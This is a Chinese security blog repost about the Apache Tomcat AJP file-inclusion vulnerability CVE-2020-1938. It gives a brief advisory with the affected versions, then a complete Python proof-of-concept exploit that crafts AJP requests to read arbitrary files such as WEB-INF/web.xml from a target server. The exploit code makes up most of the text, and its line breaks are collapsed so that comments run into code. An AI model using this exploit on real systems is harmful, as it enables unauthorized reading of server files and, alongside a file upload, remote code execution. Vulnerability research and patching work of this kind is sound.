Apache Tomcat 文件包含漏洞(CVE-2020-1938)

admin 2020年2月21日06:06:57评论9 views字数 10195阅读33分59秒阅读模式

Apache Tomcat 文件包含漏洞(CVE-2020-1938)

Introduce
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。
一.  漏洞概述
2月20日,国家信息安全漏洞共享平台(CNVD)发布了Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。目前,厂商已发布新版本完成漏洞修复。

Tomcat是Apache软件基金会中的一个重要项目,性能稳定且免费,是目前较为流行的Web应用服务器。由于Tomcat应用范围较广,因此本次通告的漏洞影响范围较大,请相关用户及时采取防护措施修复此漏洞。

参考链接:

https://www.cnvd.org.cn/webinfo/show/5415

二、影响范围

受影响版本

Apache Tomcat 6Apache Tomcat 7 < 7.0.100Apache Tomcat 8 < 8.5.51Apache Tomcat 9 < 9.0.31

不受影响版本

Apache Tomcat = 7.0.100Apache Tomcat = 8.5.51Apache Tomcat = 9.0.31

三、POC
CVE-2020-1938.PY

#!/usr/bin/env python#CNVD-2020-10487  Tomcat-Ajp lfi#by ydhcuiimport struct
# Some references:# https://tomcat.apache.org/connectors-doc/ajp/ajpv13a.htmldef pack_string(s):  if s is None:    return struct.pack(">h", -1)  l = len(s)  return struct.pack(">H%dsb" % l, l, s.encode('utf8'), 0)def unpack(stream, fmt):  size = struct.calcsize(fmt)  buf = stream.read(size)  return struct.unpack(fmt, buf)def unpack_string(stream):  size, = unpack(stream, ">h")  if size == -1: # null string    return None  res, = unpack(stream, "%ds" % size)  stream.read(1) # �  return resclass NotFoundException(Exception):  passclass AjpBodyRequest(object):  # server == web server, container == servlet  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)  MAX_REQUEST_LENGTH = 8186  def __init__(self, data_stream, data_len, data_direction=None):    self.data_stream = data_stream    self.data_len = data_len    self.data_direction = data_direction  def serialize(self):    data = self.data_stream.read(AjpBodyRequest.MAX_REQUEST_LENGTH)    if len(data) == 0:      return struct.pack(">bbH", 0x12, 0x34, 0x00)    else:      res = struct.pack(">H", len(data))      res += data    if self.data_direction == AjpBodyRequest.SERVER_TO_CONTAINER:      header = struct.pack(">bbH", 0x12, 0x34, len(res))    else:      header = struct.pack(">bbH", 0x41, 0x42, len(res))    return header + res  def send_and_receive(self, socket, stream):    while True:      data = self.serialize()      socket.send(data)      r = AjpResponse.receive(stream)      while r.prefix_code != AjpResponse.GET_BODY_CHUNK and r.prefix_code != AjpResponse.SEND_HEADERS:        r = AjpResponse.receive(stream)
      if r.prefix_code == AjpResponse.SEND_HEADERS or len(data) == 4:        breakclass AjpForwardRequest(object):  _, OPTIONS, GET, HEAD, POST, PUT, DELETE, TRACE, PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK, ACL, REPORT, VERSION_CONTROL, CHECKIN, CHECKOUT, UNCHECKOUT, SEARCH, MKWORKSPACE, UPDATE, LABEL, MERGE, BASELINE_CONTROL, MKACTIVITY = range(28)  REQUEST_METHODS = {'GET': GET, 'POST': POST, 'HEAD': HEAD, 'OPTIONS': OPTIONS, 'PUT': PUT, 'DELETE': DELETE, 'TRACE': TRACE}  # server == web server, container == servlet  SERVER_TO_CONTAINER, CONTAINER_TO_SERVER = range(2)  COMMON_HEADERS = ["SC_REQ_ACCEPT",    "SC_REQ_ACCEPT_CHARSET", "SC_REQ_ACCEPT_ENCODING", "SC_REQ_ACCEPT_LANGUAGE", "SC_REQ_AUTHORIZATION",    "SC_REQ_CONNECTION", "SC_REQ_CONTENT_TYPE", "SC_REQ_CONTENT_LENGTH", "SC_REQ_COOKIE", "SC_REQ_COOKIE2",    "SC_REQ_HOST", "SC_REQ_PRAGMA", "SC_REQ_REFERER", "SC_REQ_USER_AGENT"  ]  ATTRIBUTES = ["context", "servlet_path", "remote_user", "auth_type", "query_string", "route", "ssl_cert", "ssl_cipher", "ssl_session", "req_attribute", "ssl_key_size", "secret", "stored_method"]  def __init__(self, data_direction=None):    self.prefix_code = 0x02    self.method = None    self.protocol = None    self.req_uri = None    self.remote_addr = None    self.remote_host = None    self.server_name = None    self.server_port = None    self.is_ssl = None    self.num_headers = None    self.request_headers = None    self.attributes = None    self.data_direction = data_direction  def pack_headers(self):    self.num_headers = len(self.request_headers)    res = ""    res = struct.pack(">h", self.num_headers)    for h_name in self.request_headers:      if h_name.startswith("SC_REQ"):        code = AjpForwardRequest.COMMON_HEADERS.index(h_name) + 1        res += struct.pack("BB", 0xA0, code)      else:        res += pack_string(h_name)
      res += pack_string(self.request_headers[h_name])    return res
  def pack_attributes(self):    res = b""    for attr in self.attributes:      a_name = attr['name']      code = AjpForwardRequest.ATTRIBUTES.index(a_name) + 1      res += struct.pack("b", code)      if a_name == "req_attribute":        aa_name, a_value = attr['value']        res += pack_string(aa_name)        res += pack_string(a_value)      else:        res += pack_string(attr['value'])    res += struct.pack("B", 0xFF)    return res  def serialize(self):    res = ""    res = struct.pack("bb", self.prefix_code, self.method)    res += pack_string(self.protocol)    res += pack_string(self.req_uri)    res += pack_string(self.remote_addr)    res += pack_string(self.remote_host)    res += pack_string(self.server_name)    res += struct.pack(">h", self.server_port)    res += struct.pack("?", self.is_ssl)    res += self.pack_headers()    res += self.pack_attributes()    if self.data_direction == AjpForwardRequest.SERVER_TO_CONTAINER:      header = struct.pack(">bbh", 0x12, 0x34, len(res))    else:      header = struct.pack(">bbh", 0x41, 0x42, len(res))    return header + res  def parse(self, raw_packet):    stream = StringIO(raw_packet)    self.magic1, self.magic2, data_len = unpack(stream, "bbH")    self.prefix_code, self.method = unpack(stream, "bb")    self.protocol = unpack_string(stream)    self.req_uri = unpack_string(stream)    self.remote_addr = unpack_string(stream)    self.remote_host = unpack_string(stream)    self.server_name = unpack_string(stream)    self.server_port = unpack(stream, ">h")    self.is_ssl = unpack(stream, "?")    self.num_headers, = unpack(stream, ">H")    self.request_headers = {}    for i in range(self.num_headers):      code, = unpack(stream, ">H")      if code > 0xA000:        h_name = AjpForwardRequest.COMMON_HEADERS      else:        h_name = unpack(stream, "%ds" % code)        stream.read(1) # �      h_value = unpack_string(stream)      self.request_headers[h_name] = h_value  def send_and_receive(self, socket, stream, save_cookies=False):    res = []    i = socket.sendall(self.serialize())    if self.method == AjpForwardRequest.POST:      return res
    r = AjpResponse.receive(stream)    assert r.prefix_code == AjpResponse.SEND_HEADERS    res.append(r)    if save_cookies and 'Set-Cookie' in r.response_headers:      self.headers['SC_REQ_COOKIE'] = r.response_headers['Set-Cookie']
    # read body chunks and end response packets    while True:      r = AjpResponse.receive(stream)      res.append(r)      if r.prefix_code == AjpResponse.END_RESPONSE:        break      elif r.prefix_code == AjpResponse.SEND_BODY_CHUNK:        continue      else:        raise NotImplementedError        break
    return res
class AjpResponse(object):  _,_,_,SEND_BODY_CHUNK, SEND_HEADERS, END_RESPONSE, GET_BODY_CHUNK = range(7)  COMMON_SEND_HEADERS = [      "Content-Type", "Content-Language", "Content-Length", "Date", "Last-Modified",      "Location", "Set-Cookie", "Set-Cookie2", "Servlet-Engine", "Status", "WWW-Authenticate"      ]  def parse(self, stream):    # read headers    self.magic, self.data_length, self.prefix_code = unpack(stream, ">HHb")
    if self.prefix_code == AjpResponse.SEND_HEADERS:      self.parse_send_headers(stream)    elif self.prefix_code == AjpResponse.SEND_BODY_CHUNK:      self.parse_send_body_chunk(stream)    elif self.prefix_code == AjpResponse.END_RESPONSE:      self.parse_end_response(stream)    elif self.prefix_code == AjpResponse.GET_BODY_CHUNK:      self.parse_get_body_chunk(stream)    else:      raise NotImplementedError
  def parse_send_headers(self, stream):    self.http_status_code, = unpack(stream, ">H")    self.http_status_msg = unpack_string(stream)    self.num_headers, = unpack(stream, ">H")    self.response_headers = {}    for i in range(self.num_headers):      code, = unpack(stream, ">H")      if code <= 0xA000: # custom header        h_name, = unpack(stream, "%ds" % code)        stream.read(1) # �        h_value = unpack_string(stream)      else:        h_name = AjpResponse.COMMON_SEND_HEADERS[code-0xA001]        h_value = unpack_string(stream)      self.response_headers[h_name] = h_value
  def parse_send_body_chunk(self, stream):    self.data_length, = unpack(stream, ">H")    self.data = stream.read(self.data_length+1)
  def parse_end_response(self, stream):    self.reuse, = unpack(stream, "b")
  def parse_get_body_chunk(self, stream):    rlen, = unpack(stream, ">H")    return rlen
  @staticmethod  def receive(stream):    r = AjpResponse()    r.parse(stream)    return r
import socket
def prepare_ajp_forward_request(target_host, req_uri, method=AjpForwardRequest.GET):  fr = AjpForwardRequest(AjpForwardRequest.SERVER_TO_CONTAINER)  fr.method = method  fr.protocol = "HTTP/1.1"  fr.req_uri = req_uri  fr.remote_addr = target_host  fr.remote_host = None  fr.server_name = target_host  fr.server_port = 80  fr.request_headers = {    'SC_REQ_ACCEPT': 'text/html',    'SC_REQ_CONNECTION': 'keep-alive',    'SC_REQ_CONTENT_LENGTH': '0',    'SC_REQ_HOST': target_host,    'SC_REQ_USER_AGENT': 'Mozilla',    'Accept-Encoding': 'gzip, deflate, sdch',    'Accept-Language': 'en-US,en;q=0.5',    'Upgrade-Insecure-Requests': '1',    'Cache-Control': 'max-age=0'  }  fr.is_ssl = False  fr.attributes = []  return fr
class Tomcat(object):  def __init__(self, target_host, target_port):    self.target_host = target_host    self.target_port = target_port
    self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)    self.socket.connect((target_host, target_port))    self.stream = self.socket.makefile("rb", bufsize=0)
  def perform_request(self, req_uri, headers={}, method='GET', user=None, password=None, attributes=[]):    self.req_uri = req_uri    self.forward_request = prepare_ajp_forward_request(self.target_host, self.req_uri, method=AjpForwardRequest.REQUEST_METHODS.get(method))    print("Getting resource at ajp13://%s:%d%s" % (self.target_host, self.target_port, req_uri))    if user is not None and password is not None:      self.forward_request.request_headers['SC_REQ_AUTHORIZATION'] = "Basic " + ("%s:%s" % (user, password)).encode('base64').replace('n', '')    for h in headers:      self.forward_request.request_headers[h] = headers[h]    for a in attributes:      self.forward_request.attributes.append(a)    responses = self.forward_request.send_and_receive(self.socket, self.stream)    if len(responses) == 0:      return None, None    snd_hdrs_res = responses[0]    data_res = responses[1:-1]    if len(data_res) == 0:      print("No data in response. Headers:%sn" % snd_hdrs_res.response_headers)    return snd_hdrs_res, data_res
'''javax.servlet.include.request_urijavax.servlet.include.path_infojavax.servlet.include.servlet_path'''
import argparseparser = argparse.ArgumentParser()parser.add_argument("target", type=str, help="Hostname or IP to attack")parser.add_argument('-p', '--port', type=int, default=8009, help="AJP port to attack (default is 8009)")parser.add_argument("-f", '--file', type=str, default='WEB-INF/web.xml', help="file path :(WEB-INF/web.xml)")args = parser.parse_args()t = Tomcat(args.target, args.port)_,data = t.perform_request('/asdf',attributes=[    {'name':'req_attribute','value':['javax.servlet.include.request_uri','/']},    {'name':'req_attribute','value':['javax.servlet.include.path_info',args.file]},    {'name':'req_attribute','value':['javax.servlet.include.servlet_path','/']},    ])print('----------------------------')print("".join([d.data for d in data]))

在线检测
https://www.chaitin.cn/zh/ghostcat
批量检测工具

Apache Tomcat 文件包含漏洞(CVE-2020-1938)

https://github.com/chaitin/xray/releases

##Thanks!

原文始发于微信公众号(安全之道):Apache Tomcat 文件包含漏洞(CVE-2020-1938)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年2月21日06:06:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache Tomcat 文件包含漏洞(CVE-2020-1938)https://cn-sec.com/archives/2496525.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息